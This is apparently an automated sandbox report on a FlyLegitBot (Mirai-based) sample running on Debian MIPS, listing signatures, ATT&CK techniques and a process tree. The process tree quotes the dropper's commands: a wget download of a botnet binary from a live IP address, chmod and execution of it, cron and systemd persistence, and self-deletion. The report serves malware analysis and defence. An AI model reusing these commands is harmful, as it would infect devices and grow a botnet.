Analysis
- max time kernel
124s - max time network
148s - platform
debian-9_mips - resource
debian9-mipsbe-20260513-en - resource tags
- submitted
30/09/2026, 16:01
General
- Target 96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
- Size 250B
- Sample260930-tf61zsca67
- SHA256 96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a
Malware Config
Signatures
- Family: FlyLegitBot
FlyLegitBot is a Mirai-based botnet.
- Detects FlyLegitBot 1 IoCs
- File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
- Deletes itself 1 IoCs
- Executes dropped EXE 1 IoCs
- Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
- Enumerates running processes
Discovers information about currently running processes on the system
- Modifies init.d 2 TTPs 1 IoCs
Adds/modifies system service, likely for persistence.
- Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
- Write file to user bin folder 1 IoCs
- Changes its process name 1 IoCs
- Enumerates kernel/hardware configuration 1 TTPs 1 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
- Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
- System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
- Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a/tmp/96707f44df308cd81ae0af1cf7381e486c24982cc43af32acb3c02c16bcea77a1⤵
- Executes dropped EXE
-
/bin/unameuname -m2⤵
-
-
/usr/bin/wgetwget -q -O iran.mips http://176.65.139.166:8080/iran.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
-
-
/bin/chmodchmod +x iran.mips2⤵
- File and Directory Permissions Modification
-
-
/tmp/iran.mips./iran.mips telnet2⤵
- Deletes itself
- Modifies init.d
- Modifies systemd
- Write file to user bin folder
- Changes its process name
- Reads runtime system information
- System Network Configuration Discovery
-
/bin/shsh -c "systemctl enable G61eg7y6Mz1.service >/dev/null 2>&1 || true"3⤵
-
/bin/systemctlsystemctl enable G61eg7y6Mz1.service4⤵
- Enumerates kernel/hardware configuration
- Reads runtime system information
-
-
-
/bin/shsh -c "crontab -l 2>/dev/null"3⤵
-
/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
-
-
-
/bin/shsh -c "(crontab -l 2>/dev/null; echo '@reboot /usr/local/bin/ouDarhAqj1fRDGB &') | crontab -"3⤵
-
/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
-
-
/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
-
-
-
-
/bin/rmrm -f iran.mips cat.sh2⤵
- System Network Configuration Discovery
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
2XDG Autostart Entries
1Boot or Logon Initialization Scripts
1RC Scripts
1Create or Modify System Process
1Systemd Service
1Scheduled Task/Job
1Cron
1Replay Monitor
Loading Replay Monitor...
Downloads
N0RboCZq4ew
G61eg7y6Mz1.service
iran.mips
tmp.Xz6RV4